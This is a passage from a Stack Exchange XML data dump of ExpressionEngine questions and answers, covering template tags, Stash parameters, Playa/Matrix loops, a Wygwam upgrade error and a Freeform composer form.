href=&quot;{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image_field}&quot; width=&quot;120&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    {exp:channel:form channel=&quot;{channel_short_name}&quot; entry_id=&quot;{entry_id}&quot; include_jquery=&quot;no&quot; return=&quot;same/page&quot;}&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;featured&quot; value=&quot;&quot; /&amp;gt; &#xA;                        &amp;lt;center&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Un-Feature&quot;&amp;gt;&amp;lt;/center&amp;gt;&#xA;                    {/exp:channel:form}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td valign=&quot;top&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&#xA;                    &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;span class=&quot;small&quot;&amp;gt;&#xA;                        By {author}&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/h4&amp;gt;&#xA;                {exp:ce_str:ing trim truncate='350|&amp;amp;hellip;' remove_tags_except='a'}{content}{/exp:ce_str:ing}&#xA;                &amp;lt;br /&amp;gt;&amp;lt;div class=&quot;label label-default&quot;&amp;gt;{channel}&amp;lt;/div&amp;gt; &amp;lt;div class=&quot;label label-default&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3132" LastEditorUserId="3132" LastEditDate="2016-02-03T20:11:10.677" LastActivityDate="2016-02-03T20:11:10.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35460" PostTypeId="1" AcceptedAnswerId="35461" CreationDate="2016-02-03T20:31:03.510" Score="0" ViewCount="34" Body="&lt;p&gt;I have installed the demo templates just to have a look at each template and what it delivers at the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for my site, I do not want all these pages to be available to the user. There seems to be no option of uninstalling these demo templates. I uninstalled the user module and reinstalled it ( I didn't installed the demo templates again) but the demo templates are still showing up those user pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7055" LastActivityDate="2016-02-03T23:12:15.567" Title="How can I uninstall demo templates of User module (Solspace)?" Tags="|solspace-user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35461" PostTypeId="2" ParentId="35460" CreationDate="2016-02-03T23:12:15.567" Score="1" Body="&lt;p&gt;Do as Jim recommended. You can just delete them. If you want to keep them just move them to a different template group and set those templates to redirect to 404 for everyone. Only superadmins will be able to view them after that. For reference (EE 2 docs):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/v2/cp/design/templates/template_preferences_manager.html#modify-preferences-and-access&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/cp/design/templates/template_preferences_manager.html#modify-preferences-and-access&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-03T23:12:15.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35462" PostTypeId="2" ParentId="35166" CreationDate="2016-02-04T11:09:16.467" Score="0" Body="&lt;p&gt;You may need to specify the format you are comparing against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example 'current_time' will look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1454583625&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you need to make sure that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:str_to_time date=&quot;November 6th, {current_time format='%Y'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is outputting a number comparable to that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also sometimes I find wrapping my variables in quotes makes them work when they otherwise wouldn't&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time}&quot; &amp;gt;= &quot;{exp:str_to_time date='November 6th, {current_time format='%Y'}'}&quot; &amp;amp;&amp;amp; &quot;{current_time}&quot; &amp;lt;= &quot;{exp:str_to_time date='January 7th, {current_time format=&quot;%Y&quot;}'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you may also need to bracket your if statmnt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if (&quot;{current_time}&quot; &amp;gt;= &quot;{exp:str_to_time date='November 6th, {current_time format='%Y'}'}&quot;) &amp;amp;&amp;amp; (&quot;{current_time}&quot; &amp;lt;= &quot;{exp:str_to_time date='January 7th, {current_time format=&quot;%Y&quot;}'}&quot;)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if (&quot;{current_time}&quot; &amp;gt;= &quot;{exp:str_to_time date='November 6th, {current_time format='%Y'}'}&quot;) AND (&quot;{current_time}&quot; &amp;lt;= &quot;{exp:str_to_time date='January 7th, {current_time format=&quot;%Y&quot;}'}&quot;)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but also conditions can be a little finicky with variables inside them so there is a plugin I use called &lt;a href=&quot;https://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifElse on devotee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may also find &lt;a href=&quot;https://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; helpful as it takes conditionals case by case, istead of checking EVERY if statment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt; also if your date is 'hardcoded' anyway could you not just make a timestring of that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time format=&quot;%y%m%d&quot;}&quot; &amp;gt;= &quot;{current_time format=&quot;%y&quot;}1106&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit Edit&lt;/strong&gt;&#xA;dammit this thread is soo old! why does stack exchange do that - put old threads to the top?&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2016-02-04T11:15:00.730" LastActivityDate="2016-02-04T11:15:00.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35464" PostTypeId="1" AcceptedAnswerId="35477" CreationDate="2016-02-04T15:39:40.953" Score="1" ViewCount="62" Body="&lt;p&gt;So, apologies I know this has been covered extensively BUT I've been pulling my hair out all day and still don't get why I can't get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to use a stash variable set in one channel entries call as a parameter value for categories in a channel entries call later on in the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set this in stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set some parameters --}&#xA;{exp:channel:entries channel='super_hub' limit='1'}&#xA;    ...&#xA;    {!-- set the cfp id --}&#xA;    {exp:stash:set name='cfpid'}&#xA;        {shub_cfp_category:category_id}&#xA;    {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I'm trying to parse the value in a later channel entries call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- pull in recent CFPs --}&#xA;{exp:channel:entries channel='call_for_papers' limit='3' sort=&quot;desc&quot; dynamic='no' category=&quot;{exp:stash:get name='cfpid'}&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this either doesn't call the right category entries, or doesn't run at all. I've tried different ways of setting the value and calling the value, and attempted using {exp:stash:parse} as well - all with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It feels like this is a scope issue, but what puzzles me is that I can display the stash value within the content of the second channel entries, but not use it as a parameter value in the call itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like such a simple thing and I'm sure I'm doing something daft here. Please can someone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: thought I fixed it with Mark's help, but I've broken it again. Any inclusion of stash:parse just breaks the whole page. Below is the whole code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- retrieve layout --}&#xA;{embed='layouts/.default'}&#xA;&#xA;{!-- set some parameters --}&#xA;{exp:channel:entries channel='super_hub' limit='1' parse_depth='2'}&#xA;&#xA;    {!-- set the title --}&#xA;    {exp:stash:set name='title'}&#xA;        {shub_display_title} |&#xA;    {/exp:stash:set}&#xA;&#xA;    {exp:stash:set name='cfpid'}{shub_cfp_category:category_id}{/exp:stash:set}&#xA;&#xA;    {!-- set content --}&#xA;    {exp:stash:set name=&quot;content&quot;}&#xA;&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;                &amp;lt;header&amp;gt;&#xA;                    {!-- Add in display title and associated subtitles --}&#xA;                    &amp;lt;h1&amp;gt;{shub_display_title}&amp;lt;/h1&amp;gt;&#xA;                    {!-- add in sharing buttons --}&#xA;                    {cpb_ptl_shr}&#xA;                &amp;lt;/header&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;section class=&quot;shub&quot;&amp;gt;&#xA;                        {shub_playa_campaigns}&#xA;                            &amp;lt;div class=&quot;shubitem{switch=' ie-switch-alpha| ie-switch-beta'}&quot;&amp;gt;&#xA;                            {exp:switchee variable='{channel_short_name}' parse='inward'}&#xA;&#xA;                                {!-- campaign page --}&#xA;                                {case value='campaign_page'}&#xA;                                    &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                        {if '{campaign_hero_image}' != ''}&#xA;                                            {exp:ce_img:single src=&quot;{campaign_hero_image}&quot; crop=&quot;yes|left,top|0,0&quot;}&#xA;                                        {if:else}&#xA;                                            {exp:ce_img:single src=&quot;/assets/img/bdg/TFO-placeholder-hero.png&quot; crop=&quot;yes|left,top|0,0&quot;}&#xA;                                        {/if}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;CAM {campaign_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;&#xA;                                        {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{campaign_introductory_copy}{/exp:ce_str:ing}&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;  &#xA;                                {/case}&#xA;&#xA;                                {!-- hub page --}&#xA;                                {case value='hub_page'}&#xA;                                    &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                        {if '{hub_hero_image}' != ''}{hub_hero_image}&amp;lt;img src=&quot;{url}&quot;&amp;gt;{/hub_hero_image}{/if}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;HUB {hub_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;&#xA;                                        {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{hub_introductory_copy}{/exp:ce_str:ing}&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                                {/case}&#xA;&#xA;                                {!-- listing page --}&#xA;                                {case value='listing_page'}&#xA;                                    &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                        {if '{listing_hero_image}' != ''}{listing_hero_image}&amp;lt;img src=&quot;{url}&quot;&amp;gt;{/listing_hero_image}{/if}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;LIS {listing_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;    &#xA;                                        {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{listing_introductory_copy}{/exp:ce_str:ing}&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                {/case}&#xA;&#xA;                            {/exp:switchee}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/shub_playa_campaigns}&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/div&amp;gt; {!-- /.content --}&#xA;                {!-- close channel entries --}&#xA;                {/exp:channel:entries}&#xA;&#xA;                {!-- secondary content --}&#xA;                &amp;lt;div class=&quot;secondary&quot;&amp;gt;&#xA;                    &amp;lt;!-- CFP feed --&amp;gt;&#xA;                    &amp;lt;aside&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;Call for papers&amp;lt;/h2&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;cfp-feed&quot;&amp;gt;&#xA;&#xA;                        {!-- pull in recent CFPs --}&#xA;                        {exp:channel:entries channel='call_for_papers' limit='3' sort=&quot;desc&quot; dynamic='no' category=&quot;{exp:stash:get name='cfpid'}&quot; parse=&quot;inward&quot;}&#xA;&#xA;                            &amp;lt;div class=&quot;cfp-feed__item{switch=' ie-switch-alpha| ie-switch-beta'}&quot;&amp;gt; &#xA;&#xA;                                &amp;lt;div class=&quot;cfp-feed__item__img&quot;&amp;gt;&#xA;                                    {exp:playa:children field=&quot;cfp_journal&quot;}&#xA;                                        &amp;lt;a href=&quot;#{entry_id}&quot;&amp;gt;&#xA;                                        {!-- &amp;lt;img class=&quot;cover&quot; src=&quot;/uploads/images/journals/covers/{journal_acronym}.jpg&quot; alt=&quot;{title}&quot;/&amp;gt; --}&#xA;                                        &amp;lt;img src=&quot;http://placehold.it/90x120&quot;&amp;gt;&#xA;                                        &amp;lt;/a&amp;gt;&#xA;                                    {/exp:playa:children}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;cfp-feed__item__description&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;#{entry_id}&quot;&amp;gt;{cfp_display_title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;                                    &amp;lt;em&amp;gt;{cfp_journal}{title}{if journal_subtitle}: {journal_subtitle}{/if}{/cfp_journal}&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;&#xA;                                    {if cfp_deadline}&amp;lt;time datetime=&quot;{cfp_deadline format=&quot;{DATE_W3C}&quot;}&quot;&amp;gt;Deadline: {cfp_deadline format=&quot;%j %F %Y&quot;}&amp;lt;/time&amp;gt;&amp;lt;br&amp;gt;{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;/div&amp;gt;  &#xA;                        {/exp:channel:entries}&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;/aside&amp;gt;&#xA;&#xA;                    &amp;lt;aside class=&quot;subject-profile&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;Social Media for this subject&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;ul class=&quot;iconic&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-facebook fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-twitter fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/aside&amp;gt;&#xA;&#xA;                    &amp;lt;aside class=&quot;promotion&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;Sign up to stuff&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;ul class=&quot;iconic&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-envelope&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Link to a bulletin or something&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-rss&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Perhaps an RSS feed?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/aside&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt; &amp;lt;!-- /.secondary --&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt; {!-- /.wrapper --}&#xA;&#xA;        &amp;lt;/article&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;footer&amp;gt;&#xA;            &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;                &amp;lt;!-- {cpb_ptl_pub_date} --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;&#xA;    {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6658" LastEditorUserId="6658" LastEditDate="2016-02-05T15:13:47.987" LastActivityDate="2016-02-05T15:45:20.140" Title="Trying and failing to use stash value as channel entries category parameter" Tags="|channel-entries|categories|stash|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35465" PostTypeId="2" ParentId="35464" CreationDate="2016-02-04T15:53:44.710" Score="0" Body="&lt;p&gt;Ah, if shub_cfp_category is a relationship field try adding 'parse_depth=&quot;2&quot;' to your stash tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name='cfpid' parse_depth='2'}&#xA;    {shub_cfp_category:category_id}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may not work, but this has definitely caught me out so many times&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2016-02-04T15:53:44.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35466" PostTypeId="1" CreationDate="2016-02-04T18:02:50.573" Score="0" ViewCount="43" Body="&lt;p&gt;How can we make sure that special characters like ä,ö,å would be noticed while searching for content on a webpage. We are getting no results at the moment. I would appreciate any help! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2016-05-21T04:55:48.880" Title="Solspace Super Search - Special Characters" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35467" PostTypeId="2" ParentId="23741" CreationDate="2016-02-04T18:32:43.140" Score="0" Body="&lt;p&gt;I thought I'd spare others from a little bit of false hope and lost time, and share a workaround that did not pan out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought was to add a 'New Category Field' to the Categories I was interested in using Category Images in, using 'Assets' as the field type. Well, sadly 'Assets' is not an option there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there's some way of expanding which field types are allowed as 'Category Fields' ..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rats.&lt;/p&gt;&#xA;" OwnerUserId="6514" LastActivityDate="2016-02-04T18:32:43.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35468" PostTypeId="1" CreationDate="2016-02-04T18:55:04.643" Score="0" ViewCount="59" Body="&lt;h3&gt;I am running&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.2  &lt;/li&gt;&#xA;&lt;li&gt;Playa 4.3.3  &lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.4.3  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a matrix field inside channel entries pair tag. The first column in that matrix is a playa field type. That playa field relates to a matrix on another site that is run by MSM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all generating a table in my template. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;what i have so far&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I have successfully pulled the playa children using the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{matrix_field}&#xA;&amp;lt;tr&amp;gt;&#xA;   {if plhotel} &amp;lt;!--playa column--&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;      {exp:playa:children site=&quot;mysite&quot; field=&quot;hotels&quot; limit=&quot;1&quot;} &#xA;        {hotel-name} &amp;lt;!--desired playa value--&amp;gt;&#xA;      {/exp:playa:children}&#xA;    &amp;lt;/td&amp;gt;&#xA;   {/if}&#xA;    &amp;lt;td&amp;gt;{other matrix value}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{other matrix value}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/matrix_field}&#xA;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;my issue&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I need for the playa tag to pull one child per row. &#xA;This is almost certainly an issue with how I've constructed the loop, I'm openly admitting this. I can't seem to prevent the playa loop from displaying all children in the first row. As you'll see I've even tried setting limit=&quot;1&quot; in the tag which I almost knew would fail. This produced the same child in all rows of the table (still not correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3743" LastActivityDate="2016-06-16T19:24:42.750" Title="Matrix Playa MSM limit playa children to once per loop" Tags="|matrix|playa|multi-site-manager|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35469" PostTypeId="2" ParentId="35468" CreationDate="2016-02-04T19:25:00.330" Score="0" Body="&lt;p&gt;Not sure if this will create any parse issues, but here's a restructure for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;{if plhotel} &amp;lt;!--playa column--&amp;gt;&#xA;{exp:playa:children site=&quot;mysite&quot; field=&quot;hotels&quot;}     &#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        {hotel-name} &amp;lt;!--desired playa value--&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        {other matrix value}&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        {other matrix value}&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:playa:children}&#xA;{/if}&#xA;&#xA;{!-- and if you still need to output something even if not plhotel, just use an if:else and repeat your structure --}&#xA;&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have a particular playa/matrix set up in mind I can test the possible parse issues in, so give it a whirl.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-04T19:25:00.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35471" PostTypeId="2" ParentId="35458" CreationDate="2016-02-04T21:37:10.217" Score="5" Body="&lt;p&gt;It seems they moved this feature to be in a drop down menu rather than directly in the main UI.  I loved adding links to the top of the old EE, made things quick.  But now they are in the top right corner under your username dropdown.  When you click on your username you'll see a &quot;new link&quot; option, along with any other links you've already added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also manage your links under &quot;My profile-&gt;quick links&quot;.  With &quot;my profile also under the username drop down in the top right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2016-02-04T21:37:10.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35473" PostTypeId="1" AcceptedAnswerId="35483" CreationDate="2016-02-05T02:28:40.150" Score="0" ViewCount="165" Body="&lt;p&gt;Today I updated an old site from 2.2.1 to 2.10.3. I attempted to update some Add-Ons but ran into an issue with Wygwam. I downloaded Wygwam 4 from Devotee. Follow the update instructions but ran into errors. The first one below was easily solved as the add-on didn't have this define properly in the package.&lt;/p&gt;&#xA;&lt;p&gt;This is how the file looks:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;'wygwam_module_name' =&amp;gt; WYGWAM_NAME,&lt;/p&gt;&#xA;&lt;p&gt;'wygwam_module_description' =&amp;gt; WYGWAM_DESC,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uwkdb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uwkdb.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I got rid of that error.&lt;/p&gt;&#xA;&lt;p&gt;Next I went to update the module and came down with this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fatal error:&lt;/strong&gt; Class 'PT\Wygwam\Helper' not found in /home/xxx/xxx.com/system/expressionengine/third_party/wygwam/upd.wygwam.php on line 27&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any tips on what might be going wrong here? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-02-05T20:57:19.427" Title="WYGWAM 4 is throwing PHP and Fatal errors on 2.10.3" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35474" PostTypeId="1" AcceptedAnswerId="35475" CreationDate="2016-02-05T06:14:46.957" Score="0" ViewCount="152" Body="&lt;p&gt;I have a form which was built using composer - there is about 12 fields in it and at the minute if completed without a required field or there is an error in the form the form is loaded again blank to complete.&#xA;What is the best way to retain those values or is it best with some sort of validation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer&#xA;    form_name=&quot;food_network&quot;&#xA;    composer_template_name=&quot;food_network&quot;&#xA;    return=&quot;/foodnetwork/join-us/join-us-thank-you&quot;&#xA;    form:class=&quot;form-horizontal contact-form&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;ff_composer&quot;&amp;gt;&#xA;{composer:page}&#xA;    {composer:rows}&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;        {composer:columns}&#xA;                &amp;lt;div class=&quot;unit size1of{composer:column_total}&quot;&amp;gt;&#xA;                {if composer:field_total == 0}&#xA;&#xA;                {/if}&#xA;            {composer:fields}&#xA;                {if composer:field_label}&#xA;                    {if composer:field_type == 'nonfield_captcha'}&#xA;                        {if captcha}&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {composer:field_label}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;label {if composer:field_name != ''}&#xA;                            for=&quot;freeform_{composer:field_name}&quot;&#xA;                            {/if}&amp;gt;&#xA;                            {composer:field_label}&#xA;                            {if composer:field_required}&#xA;                            &amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;                {if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_title'}&#xA;                        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                    {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;                        {if captcha}&#xA;                                {captcha}&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;input&#xA;                                    type=&quot;text&quot;&#xA;                                    name=&quot;captcha&quot;&#xA;                                    value=&quot;&quot;&#xA;                                    size=&quot;20&quot;&#xA;                                    maxlength=&quot;20&quot;&#xA;                                    style=&quot;width:140px;&quot; /&amp;gt;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;            {/composer:fields}&#xA;                &amp;lt;/div&amp;gt;&#xA;        {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;    {/composer:rows}&#xA;{/composer:page}&#xA;    